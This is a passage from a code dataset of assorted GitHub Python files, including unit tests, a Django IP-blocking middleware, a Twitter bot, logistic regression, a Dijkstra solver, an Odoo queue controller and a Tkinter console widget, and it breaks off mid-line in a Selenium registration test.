self.a1(x)\r\n\r\n x = self.c2(x)\r\n y = self.b2(x)\r\n\r\n if self.residual_path:\r\n residual = self.down_c1(inputs)\r\n residual = self.down_b1(residual)\r\n\r\n out = self.a2(y + residual)\r\n return out\r\n","repo_name":"szu-advtech/AdvTech","sub_path":"2022/4-李媛媛 指导老师-王旭/src/CVM-Net/ResNet.py","file_name":"ResNet.py","file_ext":"py","file_size_in_byte":1210,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"19"} +{"seq_id":"22409804034","text":"import unittest\n\nfrom collections import namedtuple\n\nfrom namedlist import namedlist\n\nfrom xldlib.general.sequence import functions\n\n\n# OBJECTS\n# -------\n\n\n@functions.serializable('NamedTuple')\nclass NamedTuple(namedtuple(\"NamedTuple\", \"field other\")):\n '''A custom namedtuple with serializable methods'''\n\n\n@functions.serializable('NamedList')\nclass NamedList(namedlist(\"NamedList\", \"field other\")):\n '''A custom namedlist with serializable methods'''\n\n\n# CASES\n# -----\n\n\nclass NamedTest(unittest.TestCase):\n '''Test named sequences'''\n\n def test_tuple(self):\n '''Test serialization methods for namedtuple instances'''\n\n values = NamedTuple(\"value\", \"other\")\n self.assertTrue(NamedTuple.loadjson(values.__json__()))\n\n def test_list(self):\n '''Test serialization methods for namedlist instances'''\n\n values = NamedList(\"value\", \"other\")\n self.assertTrue(NamedList.loadjson(values.__json__()))\n\n\nclass UniquerTest(unittest.TestCase):\n '''Test rendering sequences unique'''\n\n def test_hashable(self):\n '''Test rendering unique sequences with hashable items'''\n\n initial = list(range(20))\n new = functions.uniquer(initial)\n self.assertEquals(new, initial)\n\n doubled = initial * 2\n new = functions.uniquer(doubled)\n self.assertEquals(new, initial)\n\n def test_unhashable(self):\n '''Test uniquifying sequences with unhashable items'''\n\n initial = [{'1'}, ['2'], ['3'], {'1'}]\n new = functions.uniquer(initial, idfun=id)\n self.assertEquals(new, initial)\n\n new = functions.uniquer(initial, idfun=tuple)\n self.assertEquals(new, [{'1'}, ['2'], ['3']])\n\n with self.assertRaises(TypeError):\n # unhashable items need an idfun\n functions.uniquer(initial)\n\n\n# SUITE\n# -----\n\n\ndef add_tests(suite):\n '''Add tests to the unittest suite'''\n\n suite.addTest(NamedTest('test_tuple'))\n suite.addTest(NamedTest('test_list'))\n suite.addTest(UniquerTest('test_hashable'))\n suite.addTest(UniquerTest('test_unhashable'))\n","repo_name":"Alexhuszagh/XLDiscoverer","sub_path":"test/unittests/general/sequence/functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":2095,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"6918247359","text":"def anagrama(elements):\n if len(elements) <=1:\n return elements\n else:\n tmp = []\n for perm in anagrama(elements[1:]):\n for i in range(len(elements)):\n tmp.append(perm[:i] + elements[0:1] + perm[i:])\n return tmp\n\ndef fatorial(n):\n if n == 0:\n return 1\n return fatorial(n-1) * n\n\n# Leitura\nn = int(input())\nlista = \"\".join(map(str, list(range(1, n+1))))\n\n# Processamento\nresultados = fatorial(n)\nresultado = sorted(anagrama(lista))\n\n# Saida\nprint(resultados)\nfor i in range(len(resultado)):\n print(\" \".join(map(str, (resultado[i]))))\n\n","repo_name":"GuidoBR/Algoritmos","sub_path":"Rosalind/bioinformatics-stronghold/perm.py","file_name":"perm.py","file_ext":"py","file_size_in_byte":609,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"73521089003","text":"from django.http import HttpResponseForbidden, HttpResponseRedirect\n\nfrom django.contrib.sessions.models import Session\n\nfrom server.api.IDS.login import login_attempt\nfrom server.models import BlockedIP\nfrom server.views.ids import make_a_request_detail_obj_for_response, IDS_v1, get_ip, IDS_v2\n\n\nclass CheckForIDSMiddleware:\n def __init__(self, get_response):\n self.get_response = get_response\n\n def __call__(self, request):\n response = self.get_response(request)\n ip = get_ip(request)\n blocked_ip = BlockedIP.objects.filter(ip=ip)\n if blocked_ip:\n return HttpResponseForbidden()\n\n request_detail = make_a_request_detail_obj_for_response(request)\n is_ids1 = IDS_v1(request_detail)\n is_ids2 = IDS_v2(request, request_detail)\n is_login_attempt, state, response = login_attempt(request, request_detail, response)\n\n if is_login_attempt and state:\n return HttpResponseRedirect('/')\n if is_ids1 or is_ids2:\n new_blocked_ip = BlockedIP(ip=ip)\n new_blocked_ip.save()\n return HttpResponseForbidden()\n return response\n\n def process_request(self, request):\n cur_session_key = request.user.userprofile.session_key\n if cur_session_key and cur_session_key != request.session.session_key:\n Session.objects.get(session_key=cur_session_key).delete()\n # the following can be optimized(do not save each time if value not changed)\n request.user.userprofile.session_key = request.session.session_key\n request.user.userprofile.save()\n","repo_name":"farzadgithub/SE972","sub_path":"Divar/server/middleware.py","file_name":"middleware.py","file_ext":"py","file_size_in_byte":1608,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"26445027210","text":"import tweepy\nimport re\nfrom bot_tools import write_last_seen_id, get_last_seen_id, mock_tweet\n\nconsumer_key = 'consumer_key'\nconsumer_secret = 'consumer_secret'\naccess_token = 'access_token'\naccess_token_secret = 'access_token_secret'\n\nauth = tweepy.OAuthHandler(consumer_key, consumer_secret)\nauth.set_access_token(access_token, access_token_secret)\n\napi = tweepy.API(auth)\nFILE_TXT = 'last_seen_id.txt'\n\n\ndef mocking():\n regex = r\"pl[aei]{0,2}s[ei]\"\n print('Retrieving tweet...')\n since_id = get_last_seen_id(FILE_TXT)\n mentions = api.mentions_timeline(since_id, tweet_mode='extended')\n for mention in mentions:\n if re.search(regex, mention.full_text):\n mock_type = re.search(regex, mention.full_text).group()\n last_seen_id = mention.id_str\n in_reply_id = mention.in_reply_to_status_id_str\n get_mock_tweet = get_status_in_reply_txt(in_reply_id)\n tweet = mock_tweet(get_mock_tweet, mock_type)\n post_reply(tweet, 'upload.jpg', mention.id)\n write_last_seen_id(last_seen_id, FILE_TXT)\n\n\ndef get_status_in_reply_txt(in_reply_id):\n regex = r\"https://[a-zA-Z0-9./]+\"\n status_in_reply = api.get_status(in_reply_id, tweet_mode='extended')\n tweet = status_in_reply.full_text\n fix_tweet_txt = re.sub(regex, '', tweet)\n return fix_tweet_txt\n\n\ndef post_reply(twt, img, mention_id):\n api.update_with_media(\n img, f'{twt}', in_reply_to_status_id=mention_id, auto_populate_reply_metadata=True)\n print('tweet has replied!')\n","repo_name":"cobalttheriumG/mock_twit_public","sub_path":"mock_bot.py","file_name":"mock_bot.py","file_ext":"py","file_size_in_byte":1537,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"16147253117","text":"# N = int(input())\n# for _ in range(N):\n# arr = list(input().split())\n# word = list(arr[1])\n# for w in word:\n# print(w * int(arr[0]), end='')\n# print()\n\nN = int(input())\nresult = []\nfor _ in range(N):\n arr = list(input().split())\n word = list(arr[1])\n strs = \"\"\n for w in word:\n strs = strs + (w * int(arr[0]))\n result.append(strs)\n\nfor w in result:\n print(w)\n\n\n# 처음에 제대로 했는데 마지막에 \\n이 없어서 실패했었나보다...","repo_name":"kkeolmusae/BAEKJOON_Python","sub_path":"7-문자열/2675 문자열 반복.py","file_name":"2675 문자열 반복.py","file_ext":"py","file_size_in_byte":496,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"24377369922","text":"# -*- coding: utf-8 -*-\nfrom odoo import http, _\nfrom odoo.http import request\nfrom datetime import time, date, datetime, timedelta\n\nclass webVestidores(http.Controller):\n\n @http.route(['/dressing_room'], type='http', auth='user', website=True)\n def dressing_room_test(self):\n return request.render('vestidores.vestidores')\n\n @http.route(['/dressing_room_assignation'], type='http', auth=\"user\", website=True, csrf=False)\n def get_dressing_room_assignation(self, **post):\n item_cola = request.env['items.colas'].create({\n 'vestidores_ids': post.get('vestidor_id'),\n 'colas_vestidores_ids': post.get('cola_vestidor_id'),\n })\n update_occupation = request.env['bridetobe.vestidores'].browse(\n int(post.get('vestidor_id'))).write({'occupation': True, 'action_time': date.today()})\n update_encolado = request.env['bridetobe.colas.vestidores'].browse(\n int(post.get('cola_vestidor_id'))).write({'encolado': False})\n return \n\n def set_queue(self):\n colas_vestidores = request.env['bridetobe.colas.vestidores'].search([\n '&',\n '&',\n ('date_start','>=',str(date.today())+\" 00:00:00\"),\n ('date_start','<=',str(date.today())+\" 23:59:59\"),\n ('encolado','=','True')\n ])\n colas_vestidores_conf = []\n colas_vestidores_test = []\n for aux in colas_vestidores:\n if aux.type_queue == 'making':\n colas_vestidores_conf.append(aux)\n elif aux.type_queue == 'test':\n colas_vestidores_test.append(aux)\n vestidores = request.env['bridetobe.vestidores'].search([\n ('status','=','enabled')\n ])\n items_colas = request.env['items.colas'].search([])\n render_values = {\n 'colas_vestidores_conf': colas_vestidores_conf,\n 'colas_vestidores_test': colas_vestidores_test,\n 'vestidores': vestidores,\n 'items_colas': items_colas\n }\n return render_values\n\n @http.route(['/queue_making'], type='http', auth=\"user\", website=True)\n def get_queue_making(self):\n values = self.set_queue()\n return request.render('vestidores.page_queue_making', values)\n\n @http.route(['/queue_test'], type='http', auth=\"user\", website=True)\n def get_queue_test(self):\n values = self.set_queue()\n return request.render('vestidores.page_queue_test', values)\n\n def validate_customer(self, customer, post):\n res_partner = None\n error = dict()\n error_message = []\n sale_rentals = []\n if 'submitted' in post:\n if post.get('customer'):\n res_partner = request.env['res.partner'].sudo().search([\n '|',\n ('vat', '=', customer),\n ('customer_code','=', customer)\n ])\n sale_rentals = request.env['sale.rental'].search([\n '&',\n '&',\n '|',\n '&',\n ('delivery_date','>=',str(date.today())+\" 00:00:00\"),\n ('delivery_date','<=',str(date.today())+\" 23:59:59\"),\n '&',\n ('test_date','>=',str(date.today())+\" 00:00:00\"),\n ('test_date','<=',str(date.today())+\" 23:59:59\"),\n ('partner_id','=', res_partner.id),\n ('is_queued','=',False)\n ])\n if not res_partner:\n error['customer'] = 'error'\n error_message.append(_('Número de Identificación no esta registrado'))\n elif res_partner and not sale_rentals:\n error['customer'] = 'error'\n error_message.append(_('Número de Identificación no posee cita para hoy'))\n else:\n error['customer'] = 'missing'\n error_message.append(_('Debe Ingresar su Número de Identificación'))\n if error_message:\n error['error_message'] = error_message\n render_values = {\n 'error': error,\n 'sale_rentals': sale_rentals,\n 'res_partner': res_partner,\n 'view_id': post.get('view_id'),\n }\n\n return render_values\n\n @http.route(['/quotes'], type='http', auth=\"user\", methods=['GET'], website=True)\n def quotes(self, **get):\n view_id = request.httprequest.full_path.replace('/', '').replace('?', '')\n return request.render('vestidores.page_quotes_form', {'error': dict(), 'view_id': view_id})\n\n @http.route(['/quotes'], type='http', auth=\"user\", methods=['POST'], website=True, csrf=True)\n def get_customer(self, **post):\n render_values = self.validate_customer(post.get('customer'), post)\n if render_values['error']:\n return request.render('vestidores.page_quotes_form', render_values)\n else:\n return request.render('vestidores.page_quotes', render_values)\n\n @http.route(['/take_turn_in_queue'], type='http', auth=\"user\", website=True)\n def take_turn_in_queue(self, **post):\n colas_vestidores = request.env['bridetobe.colas.vestidores'].create({\n 'sale_rental_id': post.get('sale_rental_id'),\n 'cliente_id': post.get('cliente_id'),\n 'producto_ids': [(4, [int(post.get('producto_ids'))])],\n 'date_start': datetime.today(),\n })\n sale_rental = request.env['sale.rental'].browse(int(post.get('sale_rental_id'))).write(\n {'is_queued': True}\n )\n return request.redirect(post.get('redirect_to'))\n \n @http.route(['/modista'], type='http', auth=\"user\", website=True)\n def get_modista(self):\n items_colas = request.env['items.colas'].search([])\n return request.render('vestidores.page_modistas', {'items_colas': items_colas})\n\n @http.route(['/views_tv'], type='http', auth=\"user\", website=True )\n def index_dressing_room(self, **kw):\n items_colas = request.env['items.colas'].search([])\n return request.render('vestidores.page_queue_tv', {\n 'items_colas': items_colas\n })\n\n def validate_partner(self, partner_vat, post):\n error = dict()\n error_message = []\n product_ids = []\n partner_ids = []\n if 'submitted' in post:\n if post.get('partner_vat'):\n partner_ids = request.env['res.partner'].sudo().search([\n '|',\n '|',\n ('vat', '=', partner_vat), \n ('customer_code', '=', partner_vat),\n ('name', 'ilike', partner_vat)\n ])\n product_ids = request.env['product.template'].sudo().search([('rental_code','!=','')])\n if not partner_ids:\n error['partner_vat'] = 'error'\n error_message.append(_('Cliente no Existe'))\n else:\n error['partner_vat'] = 'missing'\n error_message.append(_('Debe ingresar identificación del Cliente'))\n\n if error_message:\n error['error_message'] = error_message\n render_values = {\n 'error': error,\n 'partner_ids': partner_ids,\n 'product_ids': product_ids,\n 'partner_vat': post.get('partner_vat'),\n 'customer_code': post.get('partner_vat'),\n 'view_id': post.get('view_id'),\n }\n return render_values\n\n @http.route(['/assignment_to_test'], type='http', auth=\"user\", methods=['GET'], website=True)\n def assignment_to_test(self, **get):\n view_id = request.httprequest.full_path.replace('/', '').replace('?', '')\n return request.render('vestidores.page_queue_test_set_partner_form', {'error': dict(), 'view_id': view_id})\n\n @http.route(['/assignment_to_test'], type='http', auth=\"user\", methods=['POST'], website=True, csrf=True)\n def get_partner(self, **post):\n render_values = self.validate_partner(post.get('partner_vat'), post)\n if render_values['error']:\n return request.render('vestidores.page_queue_test_set_partner_form', render_values)\n else:\n return request.render('vestidores.page_queue_test_set_partner', render_values)\n\n @http.route(['/test_queue_assignation'], type='http', auth=\"user\", website=True)\n def get_test_queue_assignation(self, **post):\n colas_vestidores = request.env['bridetobe.colas.vestidores'].create({\n 'cliente_id': post.get('cliente_id'),\n 'producto_ids': [(6, 0, [int(x) for x in request.httprequest.form.getlist('products[]')])],\n 'type_queue': 'test',\n 'date_start': datetime.today(),\n })\n return request.redirect(post.get('redirect_to'))\n \n @http.route(['/register_customer'], type='http', auth='user', website=True, methods=['GET'])\n def render_register_customer(self, **get):\n error = dict()\n error_message = []\n partner_ids = []\n qweb_template = 'vestidores.id_partner_data'\n product_ids = request.env['product.template'].sudo().search([('rental_code','!=','')])\n\n return request.render(qweb_template,{\n 'error': error,\n 'partner_temp': get,\n 'country_ids': request.env['res.country'].sudo().search([]),\n 'form_method': 'post',\n 'seller': request.env['hr.employee'],\n 'view_id': get.get('view_id'),\n 'partner_ids': request.env['res.partner'],\n 'countries': request.env['res.country'].sudo().search([]),\n 'partner': request.env['res.partner'],\n 'product_ids': product_ids\n })\n\n @http.route(['/save_customer'], type='http', auth=\"user\", website=True)\n def get_customer_new(self, **post):\n customers = request.env['res.partner'].create({\n 'name': post.get('name'),\n 'customer_code': post.get('customer_code'),\n 'mobile': post.get('mobile'),\n 'phone': post.get('phone'),\n 'vat': post.get('vat'),\n 'email': post.get('email'),\n 'street': post.get('street'),\n 'city': post.get('city'),\n 'country_id' : int(post.get('country_id'))\n })\n res_partners = request.env['res.partner'].search([\n '&',\n ('create_date','>=',str(date.today())+\" 00:00:00\"),\n ('create_date','<=',str(date.today())+\" 23:59:59\")\n ])\n for res_partner in res_partners:\n if res_partner.vat == post.get('vat') and res_partner.customer_code == post.get('customer_code'):\n colas_vestidores = request.env['bridetobe.colas.vestidores'].create({\n 'cliente_id': res_partner.id,\n 'producto_ids': [(6, 0, [int(x) for x in request.httprequest.form.getlist('products[]')])],\n 'type_queue': 'test',\n 'date_start': date.today(),\n })\n return request.redirect('/queue_test')\n\n @http.route(['/end_process_dressing_room'], type='http', auth=\"user\", website=True)\n def get_end_process_dressing_room(self, **post):\n update_occupation_vestidor = request.env['bridetobe.vestidores'].browse(\n int(post.get('vestidor_id'))).write({'occupation': False, 'action_time': date.today()})\n update_ticket_cola_vestidor = request.env['bridetobe.colas.vestidores'].browse(\n int(post.get('cola_vetidor_id'))).write({'state_ticket': 'closed'})\n delete_item = request.env['items.colas'].browse(int(post.get('item_id'))).unlink()\n return request.redirect(post.get('redirect_to'))\n\n# ----------------------PRUEBAS DE JOSE ARTIGAS---------------------------\n\n @http.route(['/quotes_test'], type='http', auth=\"user\", website=True)\n def quotes_test(self):\n sale_rentals = request.env['sale.rental'].search([\n '&',\n '|',\n '&',\n ('delivery_date','>=',str(date.today())+\" 00:00:00\"),\n ('delivery_date','<=',str(date.today())+\" 23:59:59\"),\n '&',\n ('test_date','>=',str(date.today())+\" 00:00:00\"),\n ('test_date','<=',str(date.today())+\" 23:59:59\"),\n ('is_queued','=',False)\n ])\n return request.render('vestidores.page_quotes_test', {'sale_rentals': sale_rentals})\n\n @http.route(['/dressing_room_test'], type='http', auth=\"user\", website=True)\n def get_dressing_room(self):\n colas_vestidores_conf = request.env['bridetobe.colas.vestidores'].search([\n '&',\n '&',\n '&',\n ('date_start','>=',str(date.today())+\" 00:00:00\"),\n ('date_start','<=',str(date.today())+\" 23:59:59\"),\n ('type_queue','=','making'),\n ('encolado','=','True')\n ])\n colas_vestidores_test = request.env['bridetobe.colas.vestidores'].search([\n '&',\n '&',\n '&',\n ('date_start','>=',str(date.today())+\" 00:00:00\"),\n ('date_start','<=',str(date.today())+\" 23:59:59\"),\n ('type_queue','=','test'),\n ('encolado','=','True')\n ])\n vestidores = request.env['bridetobe.vestidores'].search([\n ('status','=','enabled')\n ])\n items_colas = request.env['items.colas'].search([])\n return request.render('vestidores.page_dressing_room',{\n 'colas_vestidores_conf': colas_vestidores_conf,\n 'colas_vestidores_test': colas_vestidores_test,\n 'vestidores': vestidores,\n 'items_colas': items_colas\n })","repo_name":"josear1805/custom_addons","sub_path":"vestidores/controllers/controller_vestidores.py","file_name":"controller_vestidores.py","file_ext":"py","file_size_in_byte":13714,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"74384441705","text":"if __name__ == \"__main__\":\n import __fixDir__\n\nfrom queue import Queue, Empty\nfrom subprocess import Popen, PIPE, STDOUT\nfrom threading import Thread\nfrom time import sleep\n\nfrom CLIDElib.StdIO import StdIO\n\nDEBUG = False\n\n\ndef iter_except(function, exception):\n \"\"\"Works like builtin 2-argument `iter()`, but stops on `exception`.\"\"\"\n try:\n while True:\n yield function()\n except exception:\n return\n\n\nclass PyConsole(StdIO):\n def __init__(self, root, command=(), bg=\"black\", fg=\"white\", *args, **kwargs):\n StdIO.__init__(self, root, bg=bg, fg=fg, insertbackground=fg, *args, **kwargs)\n\n self.process = None\n self.readThread = None\n self.inQ = None\n self.writeThread = None\n\n if command:\n self.startNew(command)\n\n self.bind(\"\", lambda e: self.close)\n\n def startNew(self, command):\n if DEBUG: print(\"Starting new process\")\n if self.process:\n self.write(\"Atempting to kill process\\n\")\n self.process.kill()\n self.event_generate(\"<>\")\n\n self.process = Popen(command, stdout=PIPE, stdin=PIPE, stderr=STDOUT)\n\n if not self.readThread or not self.readThread.is_alive():\n self.readThread = Thread(target=self.sendIn, args=[])\n self.readThread.daemon = True\n self.readThread.start()\n\n if not self.writeThread or not self.writeThread.is_alive():\n self.inQ = Queue()\n self.insertNewLine()\n\n self.writeThread = Thread(target=self.readOut, args=[])\n self.writeThread.daemon = True\n self.writeThread.start()\n\n self.focus_set()\n self.mark_set(\"insert\", \"end\")\n self.see(\"end\")\n\n def sendIn(self):\n while self.process:\n if self.process:\n line = self.readline(timeout=1000)\n if DEBUG and line == \"\": print(\"Read timeout\")\n line += \"\\n\"\n if line == \"clear\\n\" or line == \"cls\\n\":\n self.replace(\"1.0\", \"end\", \"\")\n elif line == \"exit\\n\":\n self.event_generate(\"<>\")\n self.write(\"Process forcibly closed...\\n\")\n elif line != \"\\n\":\n try:\n self.process.stdin.write(line.encode(\"UTF-8\"))\n self.process.stdin.flush()\n except OSError:\n self.write(\"Write to process failed, process has ended unexpectedly...\\n\")\n self.process.kill()\n self.process = None\n self.event_generate(\"<>\")\n except AttributeError:\n pass\n if DEBUG: print(\"Finished reading all input, thread will now exit and signal end of process\")\n self.close()\n\n def readOut(self):\n \"\"\" needs to be in a thread so we can read the stdout w/o blocking \"\"\"\n while self.process and self.process.stdout is not None:\n output = self.process.stdout.read(1)\n if output == b'':\n if self.process:\n self.process.stdout = None\n self.process = None\n if output:\n self.inQ.put(output)\n if DEBUG: print(\"Finished all output, thread will now exit\")\n\n def insertNewLine(self):\n \"\"\"update GUI with items from the inQueue.\"\"\"\n line = \"\"\n for char in iter_except(self.inQ.get_nowait, Empty): # display all content\n if not char is None:\n line += char.decode(\"UTF-8\")\n if line != \"\": self.write(line.replace(\"Welcome to Clozure Common Lisp Version 1.11-r16635 (WindowsX8664)!\\r\\n\\r\\nCCL is developed and maintained by Clozure Associates. For more information\\r\\nabout CCL visit http://ccl.clozure.com. To enquire about Clozure's Common Lisp\\r\\nconsulting services e-mail info@clozure.com or visit http://www.clozure.com.\\r\\n\\r\\n\", \"\"))\n self.after(50, self.insertNewLine) # schedule next update\n\n def close(self):\n if self.process is not None:\n process, self.process = self.process, None\n process.kill()\n else:\n self.write(\"Process terminated!\\n\")\n\n self.event_generate(\"<>\")\n\n\nif __name__ == \"__main__\":\n import tkinter\n\n root = tkinter.Tk()\n console = PyConsole(root)\n console.startNew([\"cmd.exe\"])\n\n\n def startNewOne(event):\n console.write(\"You ended cmd.......\\nI'm going to start another one now.\")\n console.startNew([\"cmd.exe\"])\n\n\n console.bind(\"<>\", startNewOne)\n console.pack()\n root.mainloop()\n","repo_name":"zlmonroe/CLIDE","sub_path":"CLIDElib/PyConsole.py","file_name":"PyConsole.py","file_ext":"py","file_size_in_byte":4754,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"36"} +{"seq_id":"8435421333","text":"import numpy as np # to perform mathematical operations on dataset\n\n\ndef sigmoid(x):\n ''' method for sigmoid function -> sigmoid(x) = 1 / (1 + e^(-x)) '''\n return 1.0 / (1.0 + np.exp(-x))\n\n\n'''\nPARAMETER ESTIMATION USING GRADIENT ASCENT METHOD\n'''\ndef estimate_coeffs(trData, trY, learn_rate, num_epoch):\n '''\n Estimate coefficients using Gradient Ascent method with given learning rate & number of iterations\n '''\n # Create a matrix of type [1 x1 x2] to multiply with [w0 w1 w2] and get wTx\n ones = np.ones(shape = (trData.shape[0], 1))\n train = (np.concatenate((ones, trData), axis=1))[:,:-1]\n \n # Initiate coeff matrix [w0 w1 w2] with 0s\n coeffs = np.zeros(shape = (train.shape[1], 1))\n\n # Interate for 'num_epoch' times to estimate coeffs\n for epoch in range(num_epoch) :\n wTx = np.dot(train, coeffs) # Find wTx = (w0 + w1.x1 + w2.x2) for whole training data\n sigmWtX = sigmoid(wTx) # Get Z = sigmoid(wTx)\n error = np.subtract(trY, sigmWtX) # Calculate Y-Z\n dervTerm = np.dot(train.T, error) # Calculate dL(w)/dw = (Y-Z).X\n learnTerm = learn_rate * dervTerm # Calculate learning term = n.(dL(w)/dw) [n -> learning rate]\n coeffs = np.add(coeffs, learnTerm) # Get updated W's => W' = W + n.(dL(w)/dw)\n\n print('Estimated Coefficients: \\n W0 = {0},\\t W1 = {1},\\t W2 = {2}\\n'.format(coeffs[0,0], coeffs[1,0], coeffs[2,0]))\n return coeffs # return final estimated coefficients\n\n\ndef LogisticRegression (tsData, coeffs) : \n\n ''' CALCULATE p(y|x) = sigmoid(wTx) FOR TEST DATA AND CLASSIFY '''\n\n # Initialize right prediction counters for classes '0','1', and total accuracy\n rightLRPredCnt = rightLRPred0Cnt = rightLRPred1Cnt = 0\n\n # Create [1 x1 x2] type matrix from test data to multiply with estimated coeffs [w0 w1 w2]\n ones = np.ones(shape = (tsData.shape[0], 1))\n test = (np.concatenate((ones, tsData), axis=1))[:,:-1]\n\n # Calculate p(y|x1,x2) and classify test data\n probTsY = sigmoid(np.dot(test, coeffs))\n predY = np.around(probTsY)\n\n for i in range(predY.shape[0]) :\n if predY[i][0] == tsData[i,2] :\n rightLRPredCnt += 1 # if right prediction, update counter\n if predY[i][0] == 1 : # for right prediction of class '1', update its counter\n rightLRPred1Cnt += 1\n else : # for right prediction of class '0', update its counter\n rightLRPred0Cnt += 1\n \n return rightLRPred0Cnt, rightLRPred1Cnt\n ","repo_name":"kashyap467/Machine-Learning-Course-Project","sub_path":"Part1 Supervised/LogisticRegression.py","file_name":"LogisticRegression.py","file_ext":"py","file_size_in_byte":2583,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"34097389015","text":"''' 7. Llenar una lista de tamaño aleatorio entre 10 y 25 elementos. Llene la lista con números \r\naleatorios. Encuentre la suma y el promedio de los números de la lista. '''\r\n\r\nimport random\r\n\r\nlista=[int(random.random()*100) for i in range (random.randint(10,25))]\r\nprint(lista,\"\\nEl tamaño de la lista es: \", len(lista))\r\n\r\nsuma=0\r\n\r\nfor indice in range(len(lista)):\r\n suma += lista[indice]\r\npromedio = suma//indice\r\nprint('La suma es de la lista es:',suma,'Y el promedio es: ',promedio)","repo_name":"NOXDION/ADSO","sub_path":"2T/4 Listas M3/7.Suma_Promedio.py","file_name":"7.Suma_Promedio.py","file_ext":"py","file_size_in_byte":496,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"14114880040","text":"import sys\nimport heapq\n\ndef dijkstra(srtX, srtY, broke_count):\n pQueue = [(srtX, srtY, broke_count)]\n broke[srtX][srtY] = 0\n\n # 1은 흰방 0은 검은방\n while pQueue:\n curX, curY, cur_broke = heapq.heappop(pQueue)\n\n if broke[curX][curY] < cur_broke:\n continue\n\n for idx in range(4):\n nextX = curX + move[idx][0]\n nextY = curY + move[idx][1]\n\n if not is_valid(nextX, nextY):\n continue\n \n wall = 0\n if maze[nextX][nextY] == 0:\n wall = 1\n\n next_broke = cur_broke + wall\n\n if broke[nextX][nextY] > next_broke:\n broke[nextX][nextY] = next_broke\n heapq.heappush(pQueue, (nextX, nextY, next_broke))\n\ndef is_valid(x, y):\n return 0 <= x < N and 0 <= y < N\n\nif __name__ == \"__main__\":\n input = sys.stdin.readline\n N = int(input())\n move = [[-1, 0], [1, 0], [0, -1], [0, 1]]\n maze = []\n broke = [[sys.maxsize for _ in range(N)] for _ in range(N)]\n\n for _ in range(N):\n maze.append(list(map(int, input().strip(\"\\n\"))))\n\n dijkstra(0, 0, 0) # x, y ,broke\n print(broke[N - 1][N - 1])","repo_name":"nashs789/JGAlgo","sub_path":"Week02/Q2665/Q2665_Inbok.py","file_name":"Q2665_Inbok.py","file_ext":"py","file_size_in_byte":1201,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"36"} +{"seq_id":"28068265282","text":"# 국영수\n# https://www.acmicpc.net/problem/10825\n\n\ndef solution() :\n n = int(input())\n info_list = []\n\n for _ in range(n) :\n info = list(input().split())\n info_list.append(info)\n\n sorted_list = sorted(info_list, key = lambda x : (-int(x[1]), int(x[2]), -int(x[3]), x[0]))\n\n for i in sorted_list :\n print(i[0])\n\n\nsolution()\n","repo_name":"hwanginbeom/algorithm_study","sub_path":"1.algorithm_question/8.Sort/172.Sorting_wooseok.py","file_name":"172.Sorting_wooseok.py","file_ext":"py","file_size_in_byte":362,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"36"} +{"seq_id":"74249461225","text":"\nimport arcade\n\n\n# class snake\nclass Snake(arcade.Sprite):\n def __init__(self, SCREEN_WIDTH, SCREEN_HEIGHT):\n super().__init__()\n\n self.width = 16\n self.height = 16\n self.center_x = SCREEN_WIDTH // 2\n self.center_y = SCREEN_HEIGHT // 2\n self.head = arcade.load_texture(\"assets/snake head.png\")\n self.color1 = arcade.color.GREEN\n self.color2 = arcade.color.BLACK\n self.change_x = 1\n self.change_y = 1\n self.speed = 8\n self.score = 0\n self.body = []\n\n def draw(self):\n\n # head\n arcade.draw_texture_rectangle(self.center_x, self.center_y, self.width, self.height, self.head)\n\n # body\n for body_length, part in enumerate(self.body):\n if body_length % 2 == 0:\n arcade.draw_rectangle_filled(part['center_x'], part['center_y'], self.width, self.height, self.color1)\n\n else:\n arcade.draw_rectangle_filled(part['center_x'], part['center_y'], self.width, self.height, self.color2)\n\n def move(self):\n self.body.append({'center_x': self.center_x, 'center_y': self.center_y})\n if len(self.body) > self.score:\n self.body.pop(0)\n self.center_x += self.change_x * self.speed\n self.center_y += self.change_y * self.speed\n\n def on_update(self, delta_time: float = 1 / 60):\n self.body.append({'center_x': self.center_x, 'center_y': self.center_y})\n if len(self.body) > self.score:\n self.body.pop(0)\n\n self.center_x += self.change_x * self.speed\n self.center_y += self.change_y * self.speed\n\n def eat(self, apple):\n del apple\n self.score += 1\n print(\"Score:\", self.score)\n","repo_name":"FahimeMirveisi/PyLearn7_MachineLearning_Projects","sub_path":"SNAKE_ML/snake.py","file_name":"snake.py","file_ext":"py","file_size_in_byte":1737,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"34400592526","text":"from pages.kindergifts.register_page import RegisterPage\nimport pytest\nimport unittest\nfrom utilities.test_status import TestStatus\nimport time\n\n\n\n@pytest.mark.usefixtures(\"oneTimeSetUp\", \"setUp\")\nclass RegisterTest(unittest.TestCase):\n\n @pytest.fixture(autouse=True)\n def classSetup(self, oneTimeSetUp):\n self.rp = RegisterPage(self.driver)\n self.ts = TestStatus(self.driver)\n\n @pytest.mark.run(order=4)\n def test_valid_registration(self):\n self.rp.register(\"Rade\", self.rp.random_user, \"sn1987aba\")\n result = self.rp.verify_registration_passed()\n time.sleep(3)\n self.ts.mark_final(\"Test Successful\", result, \"Registration completed\")\n\n @pytest.mark.run(order=3)\n def test_already_reg_registration(self):\n self.rp.register(\"Rade\", \"rade.dragosavac@etondigital.com\", \"sn1987aba\")\n result = self.rp.verify_already_reg_user()\n self.ts.mark(result, \"Registration with already registered user is not possible\")\n\n @pytest.mark.run(order=2)\n def test_invalid_registration(self):\n 